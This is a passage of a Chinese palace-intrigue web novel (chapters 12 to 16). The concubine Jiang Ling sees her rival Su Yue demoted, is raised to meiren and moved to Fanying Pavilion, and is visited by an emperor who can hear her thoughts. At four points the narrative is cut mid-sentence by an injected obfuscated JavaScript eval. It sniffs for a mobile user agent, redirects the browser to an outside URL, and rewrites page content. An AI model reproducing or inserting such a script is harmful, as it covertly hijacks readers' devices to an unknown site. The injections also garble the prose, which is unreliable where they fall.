阿箬芳荷亦步亦趋跟在江舲身后,不时交换一个眼神。一路上两人忍住了没做声,回到撷芳阁,江舲跟往常那样,往榻几上四仰八叉一趟。 “奴婢拧了帕子来,才人且擦洗一下。”阿箬与芳荷打了水进屋,无比勤快地伺候江舲净手吃茶。 江舲随手接过帕子捂在脸上,胡乱抹了一通。芳荷接过帕子,跟阿箬使了个眼色,陪着笑道:“才人被皇上留了饭,这是天大的荣幸啊。” 元明帝的御膳,比撷芳阁好上十倍百倍。但对江舲来说,天大的荣幸肯定算不上。 揽月殿的事情还未有结果,江舲就是再缺心眼,也不能只顾着饭菜。 阿箬道:“皇上留了饭,才人该努力些才是,皇上留了才人侍寝.......” 侍寝!!! 江舲在寝宫时太紧张,压根没想到这一出。听到阿箬的话,她一下弹起来,吓得阿箬手一抖,未说完的话咽回了肚子里。 “才人......才人怎地了?”阿箬看着瞪大眼珠的江舲,说话都结结巴巴。 芳荷试探着问道:“才人可是冲撞了皇上,皇上才没留才人侍寝?” 江舲面无表情,直愣愣盯着前面某处,半晌后,又一言不发直挺挺倒回榻上。 后宫的宫女子都盼着侍寝,这是代表着圣宠。且要是怀上龙种,哪怕只生个公主,比起无所出的宫女子日子要好过。 江舲比较担心的是,要是她得不到爽呢? 后宫宫女子都是清清白白之身,但保不齐元明帝会出宫偷吃,或者不爱干净,她们会患上妇科炎症。 要是被元明帝传染了病该怎么办? 真是一波未平一波又起,江舲只感到生无可恋。 哪怕回到后世,当一只可爱的小狗,也好过在宫斗文中做嫔妃。 翌日,原本对准江舲的视线,瞬间转移开了。 因为,元明帝接连传了嫔妃去垂拱殿。上至林贵妃,下至偏僻宫殿无品级的庶妃,雷霆雨露广洒后宫。 一时间,有人承宠被赏赐晋封,也有人如江舲一样,原封不动离开。 阿箬芳荷每天送回来各种消息,江舲从最初的焦灼不安,逐渐变得麻木。 苏月许贵人也被叫去了垂拱殿,两人都没侍寝。西跨院安安静静,仿佛一切都没发生过。 日子一下到了八月底,京城的深秋,在夜里一场雨后,猝不及防到来。 雨纷纷扬扬,没完没了飘着。屋内昏暗,江舲裹着薄袄,在廊檐下挑选晒干桂花中的杂物。 这时她能理解,为何古代后宅妇人会有耐心捡豆子礼佛。在枯燥漫长的日子里,这是她们能打发时光的消遣。 “才人,才人!”阿箬与芳荷踩着木屐,惊天动地跑了来。 江舲顿时一慌,两人前去领她的月俸,她们两手空空,难道她的月俸被克扣了? “许贵人,许贵人被发配皇庙了!”阿箬气喘吁吁跑到江舲面前,迫不及待说道。 江舲一震,“什么?宫正司那边查出结果了?” “先前皇上身边的黄大伴,带着人将许贵人从春锦阁带走了。”芳荷紧跟着道。 江舲不由得朝西跨院的方向看去,紧跟着问道:“尙仪局可有人受那边呢?” 芳荷顺着江舲的目光看去,道:“奴婢不知。” 江舲敢断定,苏月才是主使人,许贵人只是被撺掇出来找死的蠢货。 看来,元明帝果然是糊涂蛋,最后惩罚了一个小喽啰。 不过,许贵人被罚,证明了她的清白。 “许贵人的下场,说不定就是你们。不过,你们会比许贵人还要惨。快去领月俸吧。” 江舲呵呵,趁机恐吓两人,见两人勃然变色,重新坐下来,一朵朵挑选桂花。 阿箬芳荷你望我,我望你,不敢再吱声,缩着脖子朝外走去。 江舲停下来,望着瓦当下滴落的水珠。雨雾迷蒙,在人心上,眼上,都蒙上了一层阴霾。 没一阵,阿箬芳荷又跑了回来,江舲回过神,看着她们仍旧空荡荡的双手,道:“又出什么事了?” “才人,宫正司的来了,宫正司来人了!”阿箬芳荷紧张得声音都尖了,争抢着道。 江舲心一下跟着提起来,放下竹筛往外奔去。到了撷芳阁大门口,黄梁与宫正司的宋宫正,并几个宫人内侍逶迤而来。 宋宫正撑着伞与黄粱并排而行,她年约四十左右,发髻梳得一丝不苟,消瘦的脸,一双眼睛格外锐利。 “江才人。”宋宫正与黄粱停下脚步,屈膝向江舲恭敬施礼。 江舲颔首还礼,问道:“不知两位前来何事?” 黄粱道:“奉皇上之命,前来撷芳阁找苏才人。” 江舲立刻精神一震,先前她看错了元明帝,他还不算太糊涂。 难得有好戏看,江舲忘了谨慎,汲上木屐,屁颠颠跟着到了西跨院。 苏月迎了出来,脸色苍白站在廊檐下。雪雁鸣翠肃立在她身后,两人都满眼惶恐。 黄粱袖着手,宣了元明帝口谕:“苏氏善妒,搬弄口舌是非,谗言,挑拨许氏害人。降为御侍,挪到皇庙反省。” 宋宫正紧跟着道:“将雪雁鸣翠都拿下!”她话音一落,几个内侍并孔武有力的宫人上前,将雪雁与鸣翠押了起来。 雪雁挣扎着,尖声哭喊道:“饶命啊,宋宫正饶命啊,奴婢都已经招了,都是才人指使奴婢,奴婢不敢不从啊!” 鸣翠同样害怕得瑟瑟发着抖,她却没有求情,只默默流泪,哀哀切切地看着苏月,道:“奴婢以后不能伺候才人了,才人多保重。” 毕竟苏月仍旧算是元明帝的女人,内侍只站在她身边,并未动手。先前还极力镇定的她,此时再也忍不住,眼眶迅速泛红,怔怔看着鸣翠。 鸣翠与雪雁宫人捂住嘴,连拖带拽带离。苏月跟发了疯一样追上去,奔进雨中大喊:“鸣翠,鸣翠,你们放开她,鸣翠!” 黄粱皱起眉头,下巴朝内侍一点。内侍立刻上前拦着,阴恻恻地道:“苏御侍,皇上有旨,你再乱跑,休怪小的不客气了。” 苏月浑然不觉,她被内侍拉住动弹不得,发狂般大喊着鸣翠的名字。 宫人很快押着雪雁鸣翠离开撷芳阁,苏月猛地挣脱开,转回头盯着江舲,目光怨毒阴狠,带着无尽的仇恨诅咒道:“贱人,你以为你赢了!哈哈哈哈,我就端看着,就凭着你的蠢样,能笑到何时!” 黄粱恼怒起来,挥手道:“带走带走!” 江舲百思不得其解,苏月为何那般恨她。她对黄粱道:“黄大伴,我想问她几句话。” 黄粱顿了下,朝内侍摆了摆手。苏月双手被松开,她挺直脊背,抬手理着濡湿散乱的发丝。轻蔑地咄了声。 江舲默然了下,问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946720|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“我与你无冤无仇,自认为从没惹过你,你究竟为何这样恨我?” “为何恨你?恨你还需要缘由?你与我都出身低微,偏生装出一副无辜清高样,真是让人作呕!我早忍够了你,你凭何压我一头,凭何厚颜无耻应我一声姐姐!” 苏月眼眸赤红,几近癫狂朝江舲跑来,恨不得将她撕碎。内侍赶忙制住她,带着往外走去。 江舲其实仍旧不明白,苏月为何会恨她。 兴许,她不愿意捡豆子礼佛,兴许她不愿意面对漫长孤寂的岁月,兴许她有难酬的凌云志。 这一切,江舲都不愿意去深究了。 所有的痛苦,都来自于求而不得。求而不得,其实多是无能狂怒。 求仁得仁。 黄粱宋宫正一行离开了,西跨院安静得只有落雨声。风吹到身上,带着森森的寒意。 江舲不知不觉裹紧了薄袄,慢慢回主屋。木屐声回荡,她并未有得胜的喜悦,闷闷提不起精神。 阿箬芳荷被吓住了,瑟缩着如鹌鹑一样,将领回来的月例奉到江舲面前:“才人点一点。” 江舲收起银子,芳荷觑着她的神色,小心翼翼道:“先前有内侍宫女来西跨院收拾了。” 对两人的想法,江舲多少能知道一些。亲眼见到苏月雪雁鸣翠的下场,令她们害怕了。 雪雁聪明,平时苏月有事,都是由她出面,很少见到鸣翠。没曾想到,最后忠厚可靠之人,反而是老实巴交的鸣翠。 能如鸣翠那样忠心耿耿当然好,江舲自认为做不到,她也不强求两人。但江舲有一个要求,就是不能主动害人。 阿箬芳荷虽没有害到她,那是因为她们不够聪明,并非是她们不想。 江舲不想说话,也不想搭理两人,锁上匣子,回到榻上继续发呆。 午后江舲起身,西跨院有人搬了进来。元明帝新封的高才人,来主屋给江舲见礼。 江舲看着高才人年轻娇艳的面庞,抢先屈膝下去:“高姐姐,快请坐。我马上让人收拾一下,明早就搬到西跨院去。” 高才人先前是御侍,重新得宠被封才人,喜悦经久不散。听到江舲的话,掩饰不住地得意。 主屋宽敞,且住在主屋,身份自不相同。 苏月前脚刚搬出西跨院,高才人就住了进来,打心底觉着不舒服。 既然江舲识相,要主动搬出去,高才人咬着嘴唇,假意推脱道:““这......不大合适吧?” “合适合适。”江舲不擅长与人打交道,干巴巴说了两声,吩咐阿箬芳荷去收拾衣衫细软。 她自称妹妹,让出主屋,只求别再出一个苏月。 阿箬芳荷不敢吱声,照着江舲的话去收拾箱笼。 高才人掩面笑起来,显得很是为难道:“既然妹妹要住西跨院,我回去让她们别拆行囊了,方便搬动。” 江舲道好,去搬她装银子首饰的匣子。高才人喜滋滋地走出屋,与两个内侍迎面遇上。 她在垂拱殿御前见过其中一人名叫张善,禁不住面上一喜,道:“张内侍来了,我来与江才人打声招呼,这就回去。” 张善抬手见礼,径直进了屋,高才人脸上的笑僵在了那里。 看到屋中到处摆着箱笼,张善愣了下,道:“江才人,皇上宣你前去觐见。” 江舲手中搂着匣子,不由得开始焦虑起来。 元明帝又要从她这里开始,在后宫广撒恩泽了? 13.第十三章 搬屋之事只能暂时搁置,江舲走到廊檐下,真心实意向高才人赔了不是:“待我回来之后马上搬,高姐姐莫要怪罪。” 高才人脸色不大好,勉强道:“江才人客气了。” 江舲一堆烦恼之事,也管不了高才人如何想,随着张善前往垂拱殿。 一行人皆安安静静,木屐声与雨声交织。走在深秋的雨中,夹道深深,让人莫名觉着格外凄凉。 到了垂拱殿前,江舲仰头张望。垂拱殿几个大字,在昏暗的天色中,仿佛也被蒙上了一层灰暗,犹如她此刻的心情。 桐油伞雨水滴落在脸颊上,江舲下意识闭上眼。雨水冰凉,她一个激灵,不禁暗自窃喜。 元明帝下午找她来,肯定不是侍寝。 毕竟不管有无德行,帝王总要讲究,白日宣淫终究是失德。 后宫宫女子好几十人,元明帝刚从头到尾宠幸过一次。他已经虚岁二十六,按照古人以及皇帝的平均寿命,半条腿已经踏向皇陵之路。 且凭着他那弱鸡身板,只怕有心无力。 喜悦很快就散去,新的忧虑涌上心头。 元明帝宣她前来,究竟所为何事? 江舲跟着张善,来到后苑琼华阁。屋宇在雨雾中若隐若现,淙淙流水穿溪流而过,芳草萋萋,木樨菊花山茶盛放。 黄梁侯在门口,见他们过来,躬身进屋回禀。很快,转身出来打起门帘,示意阿箬芳荷退后:“才人请进。” 江舲控制不住地紧张起来,收起伞交给阿箬,朝黄梁颔首致谢。 一脚踏进屋,她便朝前一个趔趄,差点一头摔倒。 “草!”,江舲挥舞手臂稳住身子,脏话脱口而出。 江舲到过之处,地上都是青石地面。哪曾想到,琼华阁地上竟然铺着华丽的羊毛毡垫,厚得快没过脚背。 元明帝临窗坐着,看似漫不经心,一瞬不瞬盯着进屋的江舲。 进宫的嫔妃宫女,祖宗八代都一清二白。 江舲父亲是临平县令,母亲早亡,家中兄弟姐妹三人,身家清白。元明三年进宫,被封为才人。 她生得倒是不错,后宫从不缺美貌女子。元明帝已经快要忘记她,以前定不出挑。 从听到她脑中乱七八糟的东西来看,她只偶尔称得上聪明,大多时候都神经兮兮。 元明帝生怕有所遗漏,将后宫所有嫔妃都见了一遍,一无所获。 怕自己生了癔症,元明帝再将江舲叫了来。看到她一进屋就往前扑,惊了他好一跳,旋即忍不住想笑。 听到她的“草”,元明帝不知其意,下意识觉着不是好话,脸上笑容逐渐消散。 话一出口,江舲就懊悔万分,这是御前失仪啊! “干脆就势倒下算了,装晕,装柔弱。这地上还挺舒服,摔倒也不会痛......”一时间,江舲脑中闪过许多念头。 清楚地听到她的小算盘,元明帝心落回肚子里,瞬间愉快起来。 惟有帝王,方配拥有这般神奇独特的本事! 江舲战战兢兢请安,元明帝抬手叫起,指着对面的锦凳道,“坐吧。” 见元明帝未计较,江舲暗暗松了口气。走过去规规矩矩坐好,忍不住暗搓搓地吐槽。 “牛粪真是奢侈啊,地上铺这么贵的羊毛毯,一个人住好几间宫殿。后妃们吃不好穿不好,一堆人塞在一起,小气鬼,养不起别养啊!” 元明帝紧闭着唇,面无表情盯着江舲。她身上穿着八成新的藕荷色衫裙,月白细绢半臂。 与上次所见一样,仍然脂粉未施,光洁紧致的脸庞,如木樨一样明媚。发髻上簪着一支金钗,暗淡无光,一看就上了年头。 她紧张局促地端坐着,看似缩手缩脚小家子气,内里却绝非如此。 元明帝心中天人交战,恨不得杀了她,却又下不了手。 她的心声刺耳,大逆不道。只没了她,便失去能听到他人心声的能力。事关九五之尊,元明帝颇为忌讳。 且她的话,有些也不算太离谱。黄梁回话,称她平时极少出门,顶多在廊檐下走动,最远不过去庭院中的桂花树下站一会,采摘桂花烹茶。 撷芳阁的其他嫔妃会前往主屋说话,她从不主动与她们来往。除去吃便是睡,日子过得堪比修行。 黄梁领着内侍奉上茶水点心,元明帝顺势宽恕了她:“吃茶吧。” 江舲谢恩之后,捧着茶盏喝了两口。温热的茶水下肚,勉强没那般拘谨,顺手取了栗子糕吃。 “甜得跟打死了卖糖的一样。”江舲放下了栗子糕,再取了块雪花酥。 浅尝了一小口,江舲又放下了:“又油又甜。呵呵呵,拜托,牛粪,你能吃点好的吗?” 元明帝盯着手上的栗子糕,往碟子中一扔,取帕子轻轻擦拭着手。 江舲眼观鼻鼻观心,目不斜视。栗子糕跳到她视线内,让她陡然抬起头,惊恐地望过去。 元明帝与她四目相对,看到她害怕,他本来不悦的心情,变高兴起来。 “你怎地穿着旧衫,素面朝天,胭脂水粉呢?”元明帝闲闲问道。 按照宫中的规矩,江舲一年四季各有四身常服,两身大典时穿的礼服。她的品级低,大典轮不到她,事关皇家脸面,礼服必须备着。但穿礼服有规定,平时她就穿着常服。四身秋季常服轮换着穿,金贵的布料娇气,洗一次就褪了颜色。 胭脂水粉也有,平时在屋中不出门,江舲当然不会往脸上糊。 元明帝的问题,让江舲不知该如何回答,她脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黄梁道:“传皇上口谕,江氏俭以率下,性柔顺,赐册为美人。赏锦缎五匹,点翠累丝,珍珠头面各一副。” 美人为四品,从今以后,她就不再是在后宫遍地开花的五品才人! 江舲彻底懵了,一时没反应过来。阿箬悄然拉了一下她,小声提醒道:“美人快谢恩。” “谢主隆恩。”江舲冲口而出。 黄梁脸颊抽搐了下,笑呵呵道:“江美人快请起吧,皇上新指了宽敞的繁英阁让美人住,钟尙宫已经差人去收拾,伺候美人搬过去。” 繁英阁是中宫坤宁宫西后侧的院落,临近垂拱殿,空置已久。 前些时候阿箬与芳荷还在嘀咕,繁英阁从坤宁宫隔开了出来,不知元明帝会赐给谁住。 莫名其妙升份位,得赏赐,新住处。 江舲站起身,注视着流光溢彩的头面,灿若云霞的布帛,整个人都晕晕乎乎。 真巧,她的箱笼已收拾齐整,正适宜搬家,顺便给高才人腾出地方! 14.第十四章 夜幕初临,内侍撑着大伞举在江舲的头顶,在黄梁钟尙宫的簇拥下,一行人逶迤离开。 门前挂起了灯笼。高才人矗立在门边,不知是因为冷,或是其他,脸色在昏黄的灯光下,显得格外苍白。 江舲不曾回头,将高才人抛在了脑后。 因为,她添了新的烦心事。 突如其来的好运,让她诚惶诚恐。欲戴其冠,必承其重。她脖子细,力气小,戴不起宝冠。 后宫已有四个美人,再加她一个不算多。封号不显眼,重要之处还在繁英阁。 原本属于中宫的地方,尽管隔离出来,寓意仍然不同。 如此种种,江舲等于被架在火上烤了! 进了繁英阁大门,江舲脚步微顿,举目望去。 庭院中草木葳蕤,像是琼华阁一样,木樨山茶桂花盛放。在东西两侧,分别栽种着紫藤与葡萄。 朱墙绿廊,屋顶的黄瓦,在灯火中熠熠生辉。 皇宫的屋顶,并非皆使用代表着皇家尊贵的黄瓦。除去前朝大殿,后宫诸如中宫,重华宫,福宁宫等几个宫殿才用黄瓦盖顶。 如撷芳阁等后妃的住处,屋顶都用灰瓦。 七开间的屋宇,七根双人环抱粗的廊柱一字排开,庄重威严。 按照规矩,惟有九五之尊的帝王,能建九开间的屋宅。 七开间的宅邸也有规定,只有太后皇后,亲王府邸,皇家寺庙的大殿能用。 江舲恍惚觉着,七根廊柱像是一座大山,重重地压来,她已经快喘不过气。 黄梁指着垂首肃立在一旁的两个宫女,道:“这是文涓,青纹,她们以后就在江美人身边伺候。除去她们,另有四个粗使宫女,内侍供江美人差遣。” 文涓青纹上前见礼,两人容貌秀丽,眉目清朗,一看就聪明机灵。 江舲也不知她们究竟由谁派来,她现在只能被动接受,勉强挤出丝笑,朝她们颔首,“以后劳烦你们了。” “不敢不敢。”两人连忙再屈膝,文涓道:“奴婢先去替江美人收拾行囊。” 江舲倒宁愿用阿箬芳荷,毕竟对她们熟悉,两人算不上聪明,她能应付过来。 大家手脚麻利,很快收拾妥帖,钟尙宫上前道:“江美人瞧瞧可有不满意之处,若缺的物件,奴婢马上补齐。” 屋中收拾得一尘不染,青铜香炉中燃着香,幽香萦绕。黄花梨的榻几案桌,精美的细绢绣屏,多宝阁上摆着小巧精美的宝瓶等摆件,处处都透着富贵华丽。 比起撷芳阁,不知好上多少倍。江舲哪有不满意,她只感到太过,恨不得搬回去。 钟尙宫领着宫女们告退,黄梁也准备回垂拱殿交差,犹豫了下,提醒道:“江美人莫要忘了,要前去给皇上谢恩。” 江舲愣在那里,心道她压根不想见元明帝,何况这个时候,他应该召了人侍寝。她要是前去,便是争宠的常见手段了。 “谢主隆恩!”江舲脑子灵机一动,朝着垂拱殿的方向,严肃庄重地屈膝施礼。 黄梁:“......” 得了,他反正已经提醒过。有些人是榆木脑袋不通气,也有傻人傻福。 这个突然冒出来的江美人,究竟是何种,黄梁就管不着了,施礼告退。 时辰不早,文涓伺候江舲净手,青纹提了饭食回来。阿箬芳荷急得跟蚂蚱一样,蹦来跳去欲上前,无奈总是比她们满一步,一时插不上手。 江舲看在眼里,一声不吭。她认为这样也好,有竞争才有进步。 阿箬芳荷两人心气高,势利,明显是想要抢贴身大宫女的位置。 她不知文涓青纹的底细,阿箬芳荷肯定会不错眼盯着她们,一旦有异样,会来找她告状。 饭菜与以前一样两荤两素一碗汤,多了份新鲜果子。菜的味道颜色新鲜,却相差了岂止十倍。蕹菜翠绿,清蒸鱼鲜掉眉毛。 江舲吃的时候无比满意,饭菜下肚,便倒在榻上犯愁。 这神仙一样的日子,着实太让人不安了! 青纹捧着织锦缎进屋,笑着道:“美人喜欢何种样式的衣衫,明朝奴婢去尙服局唤人过来,给美人量身,让她们做衣衫。若赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964045|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些,在皇上的圣寿时能做好。” 江舲坐起身,道:“先放着吧,皇上的圣寿,原来做的冬衣该好了,不缺新衫穿。” 织锦缎镶嵌着金丝,金光闪闪。她要尽量低调,再去耀武扬威就是找死。 青纹没多劝,笑着道好,“奴婢替美人收起来。” “美人的东西,平时都是我与芳荷收着,给我吧。”阿箬放下针笸箩,抢着去拿布匹。 青纹笑笑,将布帛递给了阿箬,屈膝道:“奴婢就在外面候着,美人唤一声就是。” 江舲嗯了声,眨着眼睛,委婉地试探两人的来历,“你们以前在何处当差?” 青纹道:“奴婢与文涓姐姐都在御前当差。” 原来是元明帝的人,江舲一时也分辨不清,究竟被他,还是被其他后妃安插人手在身边安全。 许久不曾像今朝事情多,江舲浑身都没了力气。倒不是体力上的消耗,因着见太多的人,遇到太多事,由此觉着心累。 江舲打了个哈欠,青纹马上道:“奴婢伺候美人歇息。” 洗漱之后,江舲睡眼惺忪倒在床上,裹着松软的被褥睡了过去。文涓掀帘,探头张望过来。青纹放好床帐,灭了灯盏。 “怎地了?”青纹轻手轻脚走出来问道。 “皇上来了。”文涓道。 青纹赶忙道:“我去叫美人起来。” “哎哎哎,别急啊。”文涓拉住了她,示意她一道走出屋,小声道:“皇上散步消食经过,问了几句美人可有安顿好,已经离开了。” 青纹愣住,雨小了些,如牛毛般纷纷扬扬。风吹来,带着了刺骨的寒凉。 垂拱殿宽敞,只寝宫就足够元明帝走动。 文涓一副尽在不言中的神色,看到阿箬与芳荷住的西耳房,灯烛已经熄灭,窗棂一片黑暗,道:“咱们也去歇了,夜里警醒些。” 江舲不用人值夜,两人结伴前去东耳房歇息。 方脱掉外衫躺下,门房小黄门气喘吁吁跑来,敲着耳房的门,急着道:“两位姐姐,快快快,皇上来了!” 15.第十五章 “皇上来了?” 两人赶忙抄起衣衫往身上套,青纹掌灯,文涓奔去卧房唤江舲起床。 元明帝揣着满腹的怨气,大步进门,看到屋中次第亮起的灯盏,脸比此刻的夜空还要黑。 好一个不知感恩的混账,亏她没心没肺睡得着! 江舲有起床气,每天醒来后,都会发一阵呆才会清醒。刚睡得正香,被文涓从被褥里拉起来,套上衣衫来到厅堂,眼睛还在发直。 “这哥们,深更半夜黑着一张臭脸,跟钟馗似的,捉鬼来了?” 元明帝霎时呼吸都粗了,只听她又道:“难道是捉奸?宫内院墙那么高,爬不上去。何况,这个季节也没红杏啊!” 被她乱七八糟的念头一搅和,元明帝那股气不知何时散了去,听得很是认真,好险没笑出声。 江舲杵在那里,文涓在身后悄然拉了拉她的衣襟,她回过神,屈膝请安:“皇上这么晚还没歇着啊?” 元明帝一窒,瞥了她一眼,径直走到上首坐下,道:“时辰尙早,方到戌时中。” 他见江舲一脸没睡醒的呆怔,头发来不及梳,用珍珠钗松松别着。垂下的乌发,如波浪般的发卷垂在脑后,他一时惊艳,看得错不开眼。 “坐吧。”元明帝心情大好,指着椅子说道。 江舲走过去坐下,文涓青纹上前奉茶,阿箬芳荷才手忙脚乱起床,进屋要赶着伺候。 平时江舲的事情少,她们两人当差很是轻松。时辰一到,就开始打瞌睡,早早就睡了去。 元明帝挥手斥退伺候的人,好奇问道:“你平时何时起身?” “辰时.....初。” 江舲其实都在辰时末起身,但她直觉着太迟,“辰时”已经说出口,便将末改成初。 元明帝呵呵,她脸上写满了心虚,一听就在撒谎。 “夏日起得早些,卯时初就起了身。”江舲补充了句,这下就理直气壮多了。 前去给赵德妃贺寿那天,她就卯时初起身梳妆。 不算白日的午歇,她一天有大半的时辰都在睡觉。 元明帝想到自己的辛苦,心情不大好了。 她除去吃吃睡睡,没半点功劳,给她升份位,赐她独自住在宽敞的繁英阁,赏赐布帛头面。 宫中虽未立下明文规矩,她必须来谢恩。 皇恩浩荡,换做别的嫔妃,早就前来垂拱殿磕头了。 谁知,左等右等,始终不见她的身影。 元明帝前来繁英阁走了一遭,最终不曾进门,憋着劲等着她亲自来。 散了一圈又一圈的步,晚膳的那点吃食早已化掉,肚皮阵阵饥饿。 想着她先前的抱怨,元明帝实在忍不住,亲自来了繁英阁。 哪曾想,她居然已歇下! 元明帝吃了口茶,余光斜向江舲,不禁暗自冷笑。 她难得安安静静端坐着,肯定在打瞌睡! “住处可还满意?”元明帝咳了声,见江舲抖了下,心情一下又变得愉快起来。 江舲着实有些困,努力撑着答道:“满意。” 元明帝问话的意思,旨在提醒她,他养得起她们,她以后莫要在背后乱编排人。 江舲无动于衷,元明帝亦不知该如何说下去。身为帝王,主动按着人强行谢恩,颜面何在? 沉默片刻,元明帝提醒道:“你平时在宫中,除去吃吃睡睡,要谨记着规矩。” 江舲道是,将蹲恭桶时读《女诫》之事,拿出来着重强调道:“臣妾平时都读《女诫》,书都快翻烂了。” 元明帝意外了下,道:“你能熟读《女诫》,这是好事,只要爱惜书。” 江舲差点笑了,心道:“《女诫》这种破书,上厕所的时候看,都会影响到便便畅通。” 元明帝真正瞠目结舌起来,知道她大胆妄为,没想到她如此粗俗不堪! “他大晚上不睡觉,到底来做什么啊?” 江舲暗自蹙眉,神色渐渐惊恐起来:“莫非,他是要来睡我?” 她抬眼看去,元明帝绷着脸,死死盯着她,内心在咆哮怒骂。 “呸,不要脸的混账东西,老子难道缺女人,眼巴巴赶上门来跟你睡觉!” 元明帝不想搭理她了,蹭地站起身朝外走去:“早些歇着吧!” 江舲赶忙起身相送,元明帝头也不回,怒气冲冲离开。 阿箬芳荷从偏屋窜出来,惋惜地望着元明帝离开的方向。青纹文涓也走了出来,提醒道:“美人,外面凉,进屋去吧。” 江舲打了个哈欠,转身回了卧房。倒在床上,反倒精神了起来,琢磨着元明帝的来意。 青纹在轻手轻脚放床帐,江舲眼珠一转,她是御前伺候之人,定是七窍玲珑。 于是,江舲打探道:“皇上这么晚来繁英阁,你可知道所为何事?” 青纹迟疑了下,道:“奴婢不敢揣摩圣意,早先皇上散步到了繁英阁,很是关心美人,问过几句美人可曾安置好。奴婢猜着,定是皇上不放心,亲自前来瞧瞧。” 江舲恍然大悟,原来元明帝是紧赶慢赶将她搬来繁英阁,自己也知太仓促,难得心生愧疚了。 他越愧疚,江舲就越心安,很快便香甜无比睡了过去。 “美人,美人。”文涓打起帷帐,轻声喊道。 江舲缓缓睁开眼,文涓道:“美人,赵嫔差人给美人送贺礼来了,恭贺美人晋封。奴婢伺候美人起身,今朝繁英阁定当忙得很,奴婢伺候美人起身。” 青纹掌了灯,阿箬芳荷一前一后进了屋,抢着道:“美人,奴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969248|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婢已经准备好了热水澡豆,伺候美人去洗漱。” 江舲木愣愣地穿戴好,穿好鞋踩在地上的时候,脑子才清醒过来。 赵嫔给她送贺礼,庆贺她晋升? 前些时候后宫有人晋升,她不曾送礼,只不知赵嫔可有送。 果真如文涓所言那般,除去赵嫔,赵德妃,柳贤妃,林贵妃,李婕妤等人,差人陆陆续续送了贺礼前来。 贺礼以赵德妃的最贵重,是一块白玉镯子,林贵妃是一副字画,其余如柳贤妃等人则是布匹。 青纹在写册子,文涓与她逐一核计。阿箬芳荷抢着箱笼钥匙,放进去锁好,不时暗自愤愤剜她们一眼。 对她们之间的不和,江舲仿若未闻,如石像般坐在那里。 此刻,她面上看不出任何的表情,心中已泪流成河:“被一群高手盯住,死定了,死定了啊!” 如此惶恐不安过了两天,赵德妃亲自来了繁英阁,人未到,笑声先闻:“妹妹这地,听说一年四季景致都美不胜收,我来开开眼!” 江舲浑身僵硬,迎上前陪着赵德妃,逛起了庭院。 雨后天晴,深秋的太阳下,庭院姹紫嫣红。 赵德妃掐了朵山茶,言笑晏晏蘸在江舲的鬓角,左右打量:“以前没觉着,如今一细看,妹妹真真是人比花娇。” 江舲头皮都发紧,下意识抬手抚摸山茶花,努力挤出丝笑道:“德妃娘娘过奖了。” “瞧江妹妹真是,我难道还能说假话不成,宫中谁不赞一声妹妹颜色好?” 赵德妃咯咯笑起来,嗔怪地道:“妹妹,我可能讨杯茶吃?” 江舲忙迎着赵德妃进厅堂,让着她到上首入座。赵德妃亲亲热热挽住江舲的手,携着她一并在榻上坐了。 青纹上前奉茶,赵德妃不经意看了她一眼,抿了两口茶,放下茶盏,笑着道:“再过几日就是皇上的圣寿,今天天下遭灾,宫中庆贺一切从简。皇上的圣寿,只后宫的姐妹一起替皇上庆贺庆贺。虽说是我们自己人,到底是天家,马虎不得。我早就想来瞧瞧妹妹,前两日不得闲,就是在安排准备筵席之事。” 她秀眉一蹙,叹了口气,道:“就林贵妃,柳贤妃与我三人管着后宫这一摊子事,常有疏忽之处。如上次中秋时,就闹出了事。我要看顾着阿珏,精力着实不济。妹妹平时得闲,也来帮着张罗张罗。” 江舲大骇,结结巴巴道:“娘娘,我不行,宫中有规矩,我……” 赵德妃轻轻拍着江舲的手,微笑着安慰道:“我知道妹妹是守规矩之人,妹妹只管放心。我已经与皇上提了,皇上一口允了此事。我手上的这摊子事,就分一半给妹妹管着。” 江舲几乎晕过去,她果真被架了起来。 且在她的脚下,火堆已经开始噼里啪啦燃烧! 16.第十六章 赵德妃将掌灯烛的差使交给了江舲。 灯烛由尙寝局司灯司管着,听上去很是简单。后宫每日所需的蜡烛灯油,内藏库采买回来放进库房,由尚寝局按份例发放。 尚寝局的钟尙宫,以及女官方司灯,改由向江舲请示。 赵德妃略微坐了一阵,便回了福宁宫。江舲躺在榻上,生无可恋望着屋顶吉祥云纹的藻井。 那团团精美的花纹,仿佛一个巨大的黑洞,将她嗖地吸了进去,摔得粉身碎骨。 